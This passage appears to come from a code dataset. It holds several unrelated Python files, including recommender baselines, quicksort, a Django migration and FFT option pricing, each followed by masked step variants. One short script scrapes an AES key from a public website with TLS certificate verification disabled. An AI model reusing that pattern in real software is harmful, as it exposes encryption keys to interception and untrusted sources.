x[b][:sequence_length]\n for i in range(len(items) - 1):\n for j in range(i + 1, len(items)):\n if items[j] not in cooccurrances[items[i]]:\n cooccurrances[items[i]][items[j]] = 0\n cooccurrances[items[i]][items[j]] += 1\n x, y, sl = datahandler.get_next_train_batch()\n preds = [None] * num_items\n for i in range(num_items):\n d = cooccurrances[i]\n d = list(d.items())\n d = sorted(d, key=lambda x: x[1])\n d = [x[0] for x in d[-num_predictions:]]\n preds[i] = list(reversed(d))\n del cooccurrances\n tester = Tester()\n datahandler.reset_user_batch_data()\n x, y, sl = datahandler.get_next_test_batch()\n while len(x) > int(BATCHSIZE / 2):\n prediction_batch = []\n for b in range(len(x)):\n sequence_predictions = []\n for i in range(sl[b]):\n current_item = x[b][i]\n sequence_predictions.append(preds[current_item])\n prediction_batch.append(sequence_predictions)\n tester.evaluate_batch(prediction_batch, y, sl)\n x, y, sl = datahandler.get_next_test_batch()\n test_stats, _1, _2 = tester.get_stats_and_reset()\n print(test_stats)\n datahandler.log_test_stats(0, 0, test_stats)\n\n\nmost_recent()\nmost_popular()\nknn()\n",
"step-4": "import collections\nimport datetime\nimport os\nimport pickle\nimport random\nimport time\nfrom lastfm_utils import PlainRNNDataHandler\nfrom test_util import Tester\nreddit = 'subreddit'\nlastfm = 'lastfm'\ninstacart = 'instacart'\ndataset = lastfm\ndataset_path = os.path.expanduser('~'\n ) + '/datasets/' + dataset + '/4_train_test_split.pickle'\ndate_now = datetime.datetime.fromtimestamp(time.time()).strftime('%Y-%m-%d')\nlog_file = './testlog/' + str(date_now) + '-testing'\nBATCHSIZE = 2\ndatahandler = PlainRNNDataHandler(dataset_path, BATCHSIZE, log_file)\nnum_train_batches = datahandler.get_num_training_batches()\nnum_test_batches = datahandler.get_num_test_batches()\nnum_items = datahandler.get_num_items()\nnum_predictions = 19\n\n\ndef log_config(baseline):\n message = (\n '------------------------------------------------------------------------'\n )\n message += '\\nDATASET: ' + dataset\n message += '\\nBASELINE: ' + baseline\n datahandler.log_config(message)\n print(message)\n\n\ndef most_recent_sequence_predicions(sequence, sequence_length):\n full_prediction_sequence = random.sample(range(1, num_items),\n num_predictions)\n predictions = []\n for i in range(sequence_length):\n current_item = sequence[i]\n if current_item in full_prediction_sequence:\n index = full_prediction_sequence.index(current_item)\n del full_prediction_sequence[index]\n full_prediction_sequence.insert(0, current_item)\n predictions.append(full_prediction_sequence[:num_predictions])\n return predictions\n\n\ndef most_recent():\n log_config('most_recent')\n datahandler.reset_user_batch_data()\n tester = Tester()\n x, y, sl = datahandler.get_next_test_batch()\n while len(x) > int(BATCHSIZE / 2):\n prediction_batch = []\n for i in range(len(x)):\n prediction_batch.append(most_recent_sequence_predicions(x[i],\n sl[i]))\n tester.evaluate_batch(prediction_batch, y, sl)\n x, y, sl = datahandler.get_next_test_batch()\n test_stats, _1, _2 = tester.get_stats_and_reset()\n print(test_stats)\n datahandler.log_test_stats(0, 0, test_stats)\n\n\ndef most_popular():\n log_config('most_popular')\n datahandler.reset_user_batch_data()\n popularity_count = [0] * (num_items + 1)\n tester = Tester()\n x, y, sl = datahandler.get_next_train_batch()\n while len(x) > int(BATCHSIZE / 2):\n for i in range(len(x)):\n sequence_length = sl[i] + 1\n items = x[i][:sequence_length]\n for item in items:\n popularity_count[item] += 1\n x, y, sl = datahandler.get_next_train_batch()\n top_k = sorted(range(len(popularity_count)), key=lambda i:\n popularity_count[i])\n top_k = top_k[-num_predictions:]\n top_k = list(reversed(top_k))\n datahandler.reset_user_batch_data()\n x, y, sl = datahandler.get_next_test_batch()\n while len(x) > int(BATCHSIZE / 2):\n prediction_batch = []\n for i in range(len(x)):\n sequence_predictions = []\n for j in range(sl[i]):\n sequence_predictions.append(top_k)\n prediction_batch.append(sequence_predictions)\n tester.evaluate_batch(prediction_batch, y, sl)\n x, y, sl = datahandler.get_next_test_batch()\n test_stats, _1, _2 = tester.get_stats_and_reset()\n print(test_stats)\n datahandler.log_test_stats(0, 0, test_stats)\n\n\ndef knn():\n global num_train_batches\n log_config('kNN')\n datahandler.reset_user_batch_data()\n cooccurrances = []\n for i in range(num_items):\n cooccurrances.append({})\n x, y, sl = datahandler.get_next_train_batch()\n while len(x) > int(BATCHSIZE / 2):\n print('train', num_train_batches)\n num_train_batches -= 1\n for b in range(len(x)):\n sequence_length = sl[b] + 1\n items = x[b][:sequence_length]\n for i in range(len(items) - 1):\n for j in range(i + 1, len(items)):\n if items[j] not in cooccurrances[items[i]]:\n cooccurrances[items[i]][items[j]] = 0\n cooccurrances[items[i]][items[j]] += 1\n x, y, sl = datahandler.get_next_train_batch()\n preds = [None] * num_items\n for i in range(num_items):\n d = cooccurrances[i]\n d = list(d.items())\n d = sorted(d, key=lambda x: x[1])\n d = [x[0] for x in d[-num_predictions:]]\n preds[i] = list(reversed(d))\n del cooccurrances\n tester = Tester()\n datahandler.reset_user_batch_data()\n x, y, sl = datahandler.get_next_test_batch()\n while len(x) > int(BATCHSIZE / 2):\n prediction_batch = []\n for b in range(len(x)):\n sequence_predictions = []\n for i in range(sl[b]):\n current_item = x[b][i]\n sequence_predictions.append(preds[current_item])\n prediction_batch.append(sequence_predictions)\n tester.evaluate_batch(prediction_batch, y, sl)\n x, y, sl = datahandler.get_next_test_batch()\n test_stats, _1, _2 = tester.get_stats_and_reset()\n print(test_stats)\n datahandler.log_test_stats(0, 0, test_stats)\n\n\nmost_recent()\nmost_popular()\nknn()\n",
"step-5": "import collections\nimport datetime\nimport os\nimport pickle\nimport random\nimport time\nfrom lastfm_utils import PlainRNNDataHandler\nfrom test_util import Tester\n\nreddit = \"subreddit\"\nlastfm = \"lastfm\"\ninstacart = \"instacart\"\n\n#\n# Choose dataset here\n#\ndataset = lastfm\n\n#\n# Specify the correct path to the dataset\n#\ndataset_path = os.path.expanduser('~') + '/datasets/'+dataset+'/4_train_test_split.pickle'\n\ndate_now = datetime.datetime.fromtimestamp(time.time()).strftime('%Y-%m-%d')\nlog_file = './testlog/'+str(date_now)+'-testing'\n# Does not really matter. Only needs to be here because of my earler short sightedness. Used by test_util\nBATCHSIZE = 2\ndatahandler = PlainRNNDataHandler(dataset_path, BATCHSIZE, log_file)\nnum_train_batches = datahandler.get_num_training_batches()\nnum_test_batches = datahandler.get_num_test_batches()\nnum_items = datahandler.get_num_items()\n\n#\n# MAX_SESSION_LENGTH -1. Change this if you change the length in preprocessing\n#\nnum_predictions = 19\n\n# Log dataset and baseline model\ndef log_config(baseline):\n message = \"------------------------------------------------------------------------\"\n message += \"\\nDATASET: \"+dataset\n message += \"\\nBASELINE: \"+baseline\n datahandler.log_config(message)\n print(message)\n\n# Create sequence of predictions for one session, with the 'most recent' baseline\ndef most_recent_sequence_predicions(sequence, sequence_length):\n full_prediction_sequence = random.sample(range(1, num_items), num_predictions)\n predictions = []\n for i in range(sequence_length):\n current_item = sequence[i]\n if current_item in full_prediction_sequence:\n index = full_prediction_sequence.index(current_item)\n del(full_prediction_sequence[index])\n full_prediction_sequence.insert(0, current_item)\n predictions.append(full_prediction_sequence[:num_predictions])\n return predictions\n\n# The 'most recent' baseline. A stack where the most recent item in the session is pushed on top.\ndef most_recent():\n log_config(\"most_recent\")\n datahandler.reset_user_batch_data()\n tester = Tester()\n x, y, sl = datahandler.get_next_test_batch()\n while len(x) > int(BATCHSIZE/2):\n prediction_batch = []\n\n for i in range(len(x)):\n prediction_batch.append(most_recent_sequence_predicions(x[i], sl[i]))\n\n tester.evaluate_batch(prediction_batch, y, sl)\n x, y, sl = datahandler.get_next_test_batch()\n\n test_stats, _1, _2 = tester.get_stats_and_reset()\n print(test_stats)\n datahandler.log_test_stats(0, 0, test_stats)\n\n# The 'most popular' baseline. Count frequence of all items, and predict the top k (20) most frequent items\ndef most_popular():\n log_config(\"most_popular\")\n datahandler.reset_user_batch_data()\n popularity_count = [0]*(num_items+1)\n tester = Tester()\n\n # Training\n x, y, sl = datahandler.get_next_train_batch()\n while len(x) > int(BATCHSIZE/2):\n for i in range(len(x)):\n sequence_length = sl[i]+1\n items = x[i][:sequence_length]\n \n for item in items:\n popularity_count[item] += 1\n x, y, sl = datahandler.get_next_train_batch()\n \n top_k = sorted(range(len(popularity_count)), key=lambda i:popularity_count[i])\n top_k = top_k[-num_predictions:]\n top_k = list(reversed(top_k))\n\n # Testing\n datahandler.reset_user_batch_data()\n x, y, sl = datahandler.get_next_test_batch()\n while len(x) > int(BATCHSIZE/2):\n prediction_batch = []\n\n for i in range(len(x)):\n sequence_predictions = []\n for j in range(sl[i]):\n sequence_predictions.append(top_k)\n prediction_batch.append(sequence_predictions)\n\n tester.evaluate_batch(prediction_batch, y, sl)\n x, y, sl = datahandler.get_next_test_batch()\n \n test_stats, _1, _2 = tester.get_stats_and_reset()\n print(test_stats)\n datahandler.log_test_stats(0, 0, test_stats)\n\n# Item-kNN baseline. Count cooccurences of items. Predict items with highest cooccurences with the current item\ndef knn():\n global num_train_batches\n log_config(\"kNN\")\n datahandler.reset_user_batch_data()\n cooccurrances = []\n for i in range(num_items):\n cooccurrances.append({})\n\n # Training\n x, y, sl = datahandler.get_next_train_batch()\n while len(x) > int(BATCHSIZE/2):\n print(\"train\", num_train_batches)\n num_train_batches -= 1\n for b in range(len(x)):\n sequence_length = sl[b]+1\n items = x[b][:sequence_length]\n \n # For each item in the session, increment cooccurences with the remaining items in the session\n for i in range(len(items)-1):\n for j in range(i+1, len(items)):\n if items[j] not in cooccurrances[items[i]]:\n cooccurrances[items[i]][items[j]] = 0\n cooccurrances[items[i]][items[j]] += 1\n\n x, y, sl = datahandler.get_next_train_batch()\n \n # Find the highest cooccurences\n preds = [None]*num_items\n for i in range(num_items):\n d = cooccurrances[i]\n d = list(d.items())\n d = sorted(d, key=lambda x:x[1])\n d = [x[0] for x in d[-num_predictions:]]\n preds[i] = list(reversed(d))\n\n del(cooccurrances)\n\n #Testing\n tester = Tester()\n datahandler.reset_user_batch_data()\n x, y, sl = datahandler.get_next_test_batch()\n while len(x) > int(BATCHSIZE/2):\n prediction_batch = []\n\n for b in range(len(x)):\n sequence_predictions = []\n for i in range(sl[b]):\n current_item = x[b][i]\n sequence_predictions.append(preds[current_item])\n prediction_batch.append(sequence_predictions)\n tester.evaluate_batch(prediction_batch, y, sl)\n x, y, sl = datahandler.get_next_test_batch()\n\n test_stats, _1, _2 = tester.get_stats_and_reset()\n print(test_stats)\n datahandler.log_test_stats(0, 0, test_stats)\n\n\n\nmost_recent()\nmost_popular()\nknn()",
"step-ids": [
4,
6,
7,
8,
9
]
}
|
[
4,
6,
7,
8,
9
] |
#!/usr/bin/python3
import requests
import urllib3
urllib3.disable_warnings()
response = requests.get('https://freeaeskey.xyz', verify=False)
data = response.text.encode('utf-8')
key = data[data.index(b'<b>')+3:data.index(b'</b>')]
print(key.decode('ascii'))
|
normal
|
{
"blob_id": "368e209f83cc0cade81791c8357e01e7e3f940c8",
"index": 97,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nurllib3.disable_warnings()\n<mask token>\nprint(key.decode('ascii'))\n",
"step-3": "<mask token>\nurllib3.disable_warnings()\nresponse = requests.get('https://freeaeskey.xyz', verify=False)\ndata = response.text.encode('utf-8')\nkey = data[data.index(b'<b>') + 3:data.index(b'</b>')]\nprint(key.decode('ascii'))\n",
"step-4": "import requests\nimport urllib3\nurllib3.disable_warnings()\nresponse = requests.get('https://freeaeskey.xyz', verify=False)\ndata = response.text.encode('utf-8')\nkey = data[data.index(b'<b>') + 3:data.index(b'</b>')]\nprint(key.decode('ascii'))\n",
"step-5": "#!/usr/bin/python3\n\nimport requests\nimport urllib3\nurllib3.disable_warnings()\nresponse = requests.get('https://freeaeskey.xyz', verify=False)\ndata = response.text.encode('utf-8')\nkey = data[data.index(b'<b>')+3:data.index(b'</b>')]\nprint(key.decode('ascii'))\n\n",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
from .alexnet import *
from .lenet import *
from .net import *
from .vae import *
|
normal
|
{
"blob_id": "56d5915d30e85285da549cc69ef25714bacc6f3a",
"index": 8304,
"step-1": "<mask token>\n",
"step-2": "from .alexnet import *\nfrom .lenet import *\nfrom .net import *\nfrom .vae import *\n",
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0,
1
]
}
|
[
0,
1
] |
# python3
from random import randint
def partition3(array, left, right):
pivot = array[right]
begin = left - 1
end = left - 1
for j in range(left, right):
if array[j] < pivot:
begin += 1
array[begin], array[j] = array[j], array[begin]
end += 1
if array[j] == pivot:
array[end], array[j] = array[j], array[end]
elif array[j] == pivot:
end += 1
array[end], array[j] = array[j], array[end]
array[end + 1], array[right] = array[right], array[end + 1]
return begin + 1, end + 1
def randomized_quick_sort(array, left, right):
if left >= right:
return
k = randint(left, right)
array[left], array[k] = array[k], array[left]
small, equal = partition3(array, left, right)
randomized_quick_sort(array, left, small - 1)
randomized_quick_sort(array, equal + 1, right)
if __name__ == '__main__':
input_n = int(input())
elements = list(map(int, input().split()))
assert len(elements) == input_n
randomized_quick_sort(elements, 0, len(elements) - 1)
print(*elements)
|
normal
|
{
"blob_id": "a2fc9d947c75eaaaeafcd92750c99f4cfcdb9d7d",
"index": 4517,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef partition3(array, left, right):\n pivot = array[right]\n begin = left - 1\n end = left - 1\n for j in range(left, right):\n if array[j] < pivot:\n begin += 1\n array[begin], array[j] = array[j], array[begin]\n end += 1\n if array[j] == pivot:\n array[end], array[j] = array[j], array[end]\n elif array[j] == pivot:\n end += 1\n array[end], array[j] = array[j], array[end]\n array[end + 1], array[right] = array[right], array[end + 1]\n return begin + 1, end + 1\n\n\ndef randomized_quick_sort(array, left, right):\n if left >= right:\n return\n k = randint(left, right)\n array[left], array[k] = array[k], array[left]\n small, equal = partition3(array, left, right)\n randomized_quick_sort(array, left, small - 1)\n randomized_quick_sort(array, equal + 1, right)\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\ndef partition3(array, left, right):\n pivot = array[right]\n begin = left - 1\n end = left - 1\n for j in range(left, right):\n if array[j] < pivot:\n begin += 1\n array[begin], array[j] = array[j], array[begin]\n end += 1\n if array[j] == pivot:\n array[end], array[j] = array[j], array[end]\n elif array[j] == pivot:\n end += 1\n array[end], array[j] = array[j], array[end]\n array[end + 1], array[right] = array[right], array[end + 1]\n return begin + 1, end + 1\n\n\ndef randomized_quick_sort(array, left, right):\n if left >= right:\n return\n k = randint(left, right)\n array[left], array[k] = array[k], array[left]\n small, equal = partition3(array, left, right)\n randomized_quick_sort(array, left, small - 1)\n randomized_quick_sort(array, equal + 1, right)\n\n\nif __name__ == '__main__':\n input_n = int(input())\n elements = list(map(int, input().split()))\n assert len(elements) == input_n\n randomized_quick_sort(elements, 0, len(elements) - 1)\n print(*elements)\n",
"step-4": "from random import randint\n\n\ndef partition3(array, left, right):\n pivot = array[right]\n begin = left - 1\n end = left - 1\n for j in range(left, right):\n if array[j] < pivot:\n begin += 1\n array[begin], array[j] = array[j], array[begin]\n end += 1\n if array[j] == pivot:\n array[end], array[j] = array[j], array[end]\n elif array[j] == pivot:\n end += 1\n array[end], array[j] = array[j], array[end]\n array[end + 1], array[right] = array[right], array[end + 1]\n return begin + 1, end + 1\n\n\ndef randomized_quick_sort(array, left, right):\n if left >= right:\n return\n k = randint(left, right)\n array[left], array[k] = array[k], array[left]\n small, equal = partition3(array, left, right)\n randomized_quick_sort(array, left, small - 1)\n randomized_quick_sort(array, equal + 1, right)\n\n\nif __name__ == '__main__':\n input_n = int(input())\n elements = list(map(int, input().split()))\n assert len(elements) == input_n\n randomized_quick_sort(elements, 0, len(elements) - 1)\n print(*elements)\n",
"step-5": "# python3\n\nfrom random import randint\n\n\ndef partition3(array, left, right):\n pivot = array[right]\n begin = left - 1\n end = left - 1\n for j in range(left, right):\n if array[j] < pivot:\n begin += 1\n array[begin], array[j] = array[j], array[begin]\n end += 1\n if array[j] == pivot:\n array[end], array[j] = array[j], array[end]\n elif array[j] == pivot:\n end += 1\n array[end], array[j] = array[j], array[end]\n\n array[end + 1], array[right] = array[right], array[end + 1]\n return begin + 1, end + 1\n\ndef randomized_quick_sort(array, left, right):\n if left >= right:\n return\n k = randint(left, right)\n array[left], array[k] = array[k], array[left]\n\n small, equal = partition3(array, left, right)\n randomized_quick_sort(array, left, small - 1)\n randomized_quick_sort(array, equal + 1, right)\n\n\nif __name__ == '__main__':\n input_n = int(input())\n elements = list(map(int, input().split()))\n assert len(elements) == input_n\n randomized_quick_sort(elements, 0, len(elements) - 1)\n print(*elements)\n",
"step-ids": [
0,
2,
3,
4,
5
]
}
|
[
0,
2,
3,
4,
5
] |
# Generated by Django 3.2.3 on 2021-06-01 07:26
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('info', '0002_auto_20210531_1958'),
]
operations = [
migrations.AddField(
model_name='well',
name='well_status',
field=models.CharField(choices=[('0', 'Бурение'), ('1', 'Освоение'), ('2', 'Бездействие'), ('3', 'Простой')], default='2', max_length=15, verbose_name='Статус скважины'),
),
]
|
normal
|
{
"blob_id": "a3239bbe4f85c9f0e1bc845245f024c3feb64923",
"index": 7476,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n",
"step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('info', '0002_auto_20210531_1958')]\n operations = [migrations.AddField(model_name='well', name='well_status',\n field=models.CharField(choices=[('0', 'Бурение'), ('1', 'Освоение'),\n ('2', 'Бездействие'), ('3', 'Простой')], default='2', max_length=15,\n verbose_name='Статус скважины'))]\n",
"step-4": "from django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n dependencies = [('info', '0002_auto_20210531_1958')]\n operations = [migrations.AddField(model_name='well', name='well_status',\n field=models.CharField(choices=[('0', 'Бурение'), ('1', 'Освоение'),\n ('2', 'Бездействие'), ('3', 'Простой')], default='2', max_length=15,\n verbose_name='Статус скважины'))]\n",
"step-5": "# Generated by Django 3.2.3 on 2021-06-01 07:26\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('info', '0002_auto_20210531_1958'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='well',\n name='well_status',\n field=models.CharField(choices=[('0', 'Бурение'), ('1', 'Освоение'), ('2', 'Бездействие'), ('3', 'Простой')], default='2', max_length=15, verbose_name='Статус скважины'),\n ),\n ]\n",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Thu Nov 14 01:32:26 2019
@author: himanshu
"""
import numpy as np
from scipy.interpolate import interp1d
from option import Option
class FFTPricing:
def __init__(self,
option : Option,
riskFreeRate,
volatility,
samplePoints,
bandwidth,
dampingFactor,
underlyingModel = 'GBM'):
self.__option = option
self.__r = riskFreeRate
self.__sigma = volatility
self.__N = samplePoints
self.__B = bandwidth
self.__alpha = dampingFactor
self.__model = underlyingModel
# Computes the characterstic function of a GBM.
def __charactersticFunc(self, omega):
S0 = self.__option.underlyingPrice
r = self.__r
T = self.__option.timeToExpiry
sigma = self.__sigma
alpha = self.__alpha
if self.__model == 'GBM':
x0 = np.log(S0)
mu = x0 + ((r - (sigma**2)/2)*(T))
sig = (sigma**2)*(T)/2
omega_prime = omega + 1j*(alpha+1)
return np.exp(-1j*mu*omega_prime - sig*(omega_prime**2))
elif self.__model == 'VG':
pass
# Computes the Fourier Transform of a GBM.
def __fourierTransform(self, omega):
alpha = self.__alpha
r = self.__r
T = self.__option.timeToExpiry
q_hat = self.__charactersticFunc(omega)
num = np.exp(-r*(T))*q_hat
den = (alpha - 1j*omega)*(alpha - (1j*omega) + 1)
return num/den
def optionPrice(self):
if not self.__option.expiryType == 'European':
print('Not a European Option')
return 0.0
K = self.__option.strikePrice
N = self.__N
B = self.__B
alpha = self.__alpha
h = B/(N-1)
omega = np.arange(0,N)*h
dk = 2*np.pi/(h*N)
k = np.log(20) + np.arange(0,N)*dk
dw = np.zeros(N)
dw[0] = h/2
dw[1:] = h
# FFT Algorithm
V = np.zeros(N)
for n in range(N):
nu_hat = self.__fourierTransform(omega)
inner_sum = np.sum(np.exp(1j*omega*k[n])*nu_hat*dw)
V[n] = ((np.exp(-alpha*k[n])/np.pi)*inner_sum).real
val = interp1d(k, V)
return float('{0:.2f}'.format(val(np.log(K))))
def __repr__(self):
return "FFTPricing({}, {}, {}, {}, {}, {})"\
.format(self.__option,
self.__r,
self.__sigma,
self.__N,
self.__B,
self.__alpha)
if __name__ == "__main__":
from option import European
S0 = 100
K = 110
r = 0.10
T = 1
volatility = 0.25
N = 2**10
B = 50
alpha = 10.0
print('------------------------------------------------------------------'
+'----------------------------')
option = European(S0, K, T, 'Call')
fftPricing = FFTPricing(option, r, volatility, N, B, alpha)
print(fftPricing)
print('FFT price for Call:', fftPricing.optionPrice())
print('------------------------------------------------------------------'
+'----------------------------')
option = European(S0, K, T, 'Put')
fftPricing = FFTPricing(option, r, volatility, N, B, -alpha)
print(fftPricing)
print('FFT price for Put:', fftPricing.optionPrice())
|
normal
|
{
"blob_id": "25987c15c28e3939f9f531dbc1d4bd9bf622b5a9",
"index": 5691,
"step-1": "<mask token>\n\n\nclass FFTPricing:\n\n def __init__(self, option: Option, riskFreeRate, volatility,\n samplePoints, bandwidth, dampingFactor, underlyingModel='GBM'):\n self.__option = option\n self.__r = riskFreeRate\n self.__sigma = volatility\n self.__N = samplePoints\n self.__B = bandwidth\n self.__alpha = dampingFactor\n self.__model = underlyingModel\n <mask token>\n\n def __fourierTransform(self, omega):\n alpha = self.__alpha\n r = self.__r\n T = self.__option.timeToExpiry\n q_hat = self.__charactersticFunc(omega)\n num = np.exp(-r * T) * q_hat\n den = (alpha - 1.0j * omega) * (alpha - 1.0j * omega + 1)\n return num / den\n\n def optionPrice(self):\n if not self.__option.expiryType == 'European':\n print('Not a European Option')\n return 0.0\n K = self.__option.strikePrice\n N = self.__N\n B = self.__B\n alpha = self.__alpha\n h = B / (N - 1)\n omega = np.arange(0, N) * h\n dk = 2 * np.pi / (h * N)\n k = np.log(20) + np.arange(0, N) * dk\n dw = np.zeros(N)\n dw[0] = h / 2\n dw[1:] = h\n V = np.zeros(N)\n for n in range(N):\n nu_hat = self.__fourierTransform(omega)\n inner_sum = np.sum(np.exp(1.0j * omega * k[n]) * nu_hat * dw)\n V[n] = (np.exp(-alpha * k[n]) / np.pi * inner_sum).real\n val = interp1d(k, V)\n return float('{0:.2f}'.format(val(np.log(K))))\n\n def __repr__(self):\n return 'FFTPricing({}, {}, {}, {}, {}, {})'.format(self.__option,\n self.__r, self.__sigma, self.__N, self.__B, self.__alpha)\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\nclass FFTPricing:\n\n def __init__(self, option: Option, riskFreeRate, volatility,\n samplePoints, bandwidth, dampingFactor, underlyingModel='GBM'):\n self.__option = option\n self.__r = riskFreeRate\n self.__sigma = volatility\n self.__N = samplePoints\n self.__B = bandwidth\n self.__alpha = dampingFactor\n self.__model = underlyingModel\n\n def __charactersticFunc(self, omega):\n S0 = self.__option.underlyingPrice\n r = self.__r\n T = self.__option.timeToExpiry\n sigma = self.__sigma\n alpha = self.__alpha\n if self.__model == 'GBM':\n x0 = np.log(S0)\n mu = x0 + (r - sigma ** 2 / 2) * T\n sig = sigma ** 2 * T / 2\n omega_prime = omega + 1.0j * (alpha + 1)\n return np.exp(-1.0j * mu * omega_prime - sig * omega_prime ** 2)\n elif self.__model == 'VG':\n pass\n\n def __fourierTransform(self, omega):\n alpha = self.__alpha\n r = self.__r\n T = self.__option.timeToExpiry\n q_hat = self.__charactersticFunc(omega)\n num = np.exp(-r * T) * q_hat\n den = (alpha - 1.0j * omega) * (alpha - 1.0j * omega + 1)\n return num / den\n\n def optionPrice(self):\n if not self.__option.expiryType == 'European':\n print('Not a European Option')\n return 0.0\n K = self.__option.strikePrice\n N = self.__N\n B = self.__B\n alpha = self.__alpha\n h = B / (N - 1)\n omega = np.arange(0, N) * h\n dk = 2 * np.pi / (h * N)\n k = np.log(20) + np.arange(0, N) * dk\n dw = np.zeros(N)\n dw[0] = h / 2\n dw[1:] = h\n V = np.zeros(N)\n for n in range(N):\n nu_hat = self.__fourierTransform(omega)\n inner_sum = np.sum(np.exp(1.0j * omega * k[n]) * nu_hat * dw)\n V[n] = (np.exp(-alpha * k[n]) / np.pi * inner_sum).real\n val = interp1d(k, V)\n return float('{0:.2f}'.format(val(np.log(K))))\n\n def __repr__(self):\n return 'FFTPricing({}, {}, {}, {}, {}, {})'.format(self.__option,\n self.__r, self.__sigma, self.__N, self.__B, self.__alpha)\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\nclass FFTPricing:\n\n def __init__(self, option: Option, riskFreeRate, volatility,\n samplePoints, bandwidth, dampingFactor, underlyingModel='GBM'):\n self.__option = option\n self.__r = riskFreeRate\n self.__sigma = volatility\n self.__N = samplePoints\n self.__B = bandwidth\n self.__alpha = dampingFactor\n self.__model = underlyingModel\n\n def __charactersticFunc(self, omega):\n S0 = self.__option.underlyingPrice\n r = self.__r\n T = self.__option.timeToExpiry\n sigma = self.__sigma\n alpha = self.__alpha\n if self.__model == 'GBM':\n x0 = np.log(S0)\n mu = x0 + (r - sigma ** 2 / 2) * T\n sig = sigma ** 2 * T / 2\n omega_prime = omega + 1.0j * (alpha + 1)\n return np.exp(-1.0j * mu * omega_prime - sig * omega_prime ** 2)\n elif self.__model == 'VG':\n pass\n\n def __fourierTransform(self, omega):\n alpha = self.__alpha\n r = self.__r\n T = self.__option.timeToExpiry\n q_hat = self.__charactersticFunc(omega)\n num = np.exp(-r * T) * q_hat\n den = (alpha - 1.0j * omega) * (alpha - 1.0j * omega + 1)\n return num / den\n\n def optionPrice(self):\n if not self.__option.expiryType == 'European':\n print('Not a European Option')\n return 0.0\n K = self.__option.strikePrice\n N = self.__N\n B = self.__B\n alpha = self.__alpha\n h = B / (N - 1)\n omega = np.arange(0, N) * h\n dk = 2 * np.pi / (h * N)\n k = np.log(20) + np.arange(0, N) * dk\n dw = np.zeros(N)\n dw[0] = h / 2\n dw[1:] = h\n V = np.zeros(N)\n for n in range(N):\n nu_hat = self.__fourierTransform(omega)\n inner_sum = np.sum(np.exp(1.0j * omega * k[n]) * nu_hat * dw)\n V[n] = (np.exp(-alpha * k[n]) / np.pi * inner_sum).real\n val = interp1d(k, V)\n return float('{0:.2f}'.format(val(np.log(K))))\n\n def __repr__(self):\n return 'FFTPricing({}, {}, {}, {}, {}, {})'.format(self.__option,\n self.__r, self.__sigma, self.__N, self.__B, self.__alpha)\n\n\nif __name__ == '__main__':\n from option import European\n S0 = 100\n K = 110\n r = 0.1\n T = 1\n volatility = 0.25\n N = 2 ** 10\n B = 50\n alpha = 10.0\n print(\n '------------------------------------------------------------------' +\n '----------------------------')\n option = European(S0, K, T, 'Call')\n fftPricing = FFTPricing(option, r, volatility, N, B, alpha)\n print(fftPricing)\n print('FFT price for Call:', fftPricing.optionPrice())\n print(\n '------------------------------------------------------------------' +\n '----------------------------')\n option = European(S0, K, T, 'Put')\n fftPricing = FFTPricing(option, r, volatility, N, B, -alpha)\n print(fftPricing)\n print('FFT price for Put:', fftPricing.optionPrice())\n",
"step-4": "<mask token>\nimport numpy as np\nfrom scipy.interpolate import interp1d\nfrom option import Option\n\n\nclass FFTPricing:\n\n def __init__(self, option: Option, riskFreeRate, volatility,\n samplePoints, bandwidth, dampingFactor, underlyingModel='GBM'):\n self.__option = option\n self.__r = riskFreeRate\n self.__sigma = volatility\n self.__N = samplePoints\n self.__B = bandwidth\n self.__alpha = dampingFactor\n self.__model = underlyingModel\n\n def __charactersticFunc(self, omega):\n S0 = self.__option.underlyingPrice\n r = self.__r\n T = self.__option.timeToExpiry\n sigma = self.__sigma\n alpha = self.__alpha\n if self.__model == 'GBM':\n x0 = np.log(S0)\n mu = x0 + (r - sigma ** 2 / 2) * T\n sig = sigma ** 2 * T / 2\n omega_prime = omega + 1.0j * (alpha + 1)\n return np.exp(-1.0j * mu * omega_prime - sig * omega_prime ** 2)\n elif self.__model == 'VG':\n pass\n\n def __fourierTransform(self, omega):\n alpha = self.__alpha\n r = self.__r\n T = self.__option.timeToExpiry\n q_hat = self.__charactersticFunc(omega)\n num = np.exp(-r * T) * q_hat\n den = (alpha - 1.0j * omega) * (alpha - 1.0j * omega + 1)\n return num / den\n\n def optionPrice(self):\n if not self.__option.expiryType == 'European':\n print('Not a European Option')\n return 0.0\n K = self.__option.strikePrice\n N = self.__N\n B = self.__B\n alpha = self.__alpha\n h = B / (N - 1)\n omega = np.arange(0, N) * h\n dk = 2 * np.pi / (h * N)\n k = np.log(20) + np.arange(0, N) * dk\n dw = np.zeros(N)\n dw[0] = h / 2\n dw[1:] = h\n V = np.zeros(N)\n for n in range(N):\n nu_hat = self.__fourierTransform(omega)\n inner_sum = np.sum(np.exp(1.0j * omega * k[n]) * nu_hat * dw)\n V[n] = (np.exp(-alpha * k[n]) / np.pi * inner_sum).real\n val = interp1d(k, V)\n return float('{0:.2f}'.format(val(np.log(K))))\n\n def __repr__(self):\n return 'FFTPricing({}, {}, {}, {}, {}, {})'.format(self.__option,\n self.__r, self.__sigma, self.__N, self.__B, self.__alpha)\n\n\nif __name__ == '__main__':\n from option import European\n S0 = 100\n K = 110\n r = 0.1\n T = 1\n volatility = 0.25\n N = 2 ** 10\n B = 50\n alpha = 10.0\n print(\n '------------------------------------------------------------------' +\n '----------------------------')\n option = European(S0, K, T, 'Call')\n fftPricing = FFTPricing(option, r, volatility, N, B, alpha)\n print(fftPricing)\n print('FFT price for Call:', fftPricing.optionPrice())\n print(\n 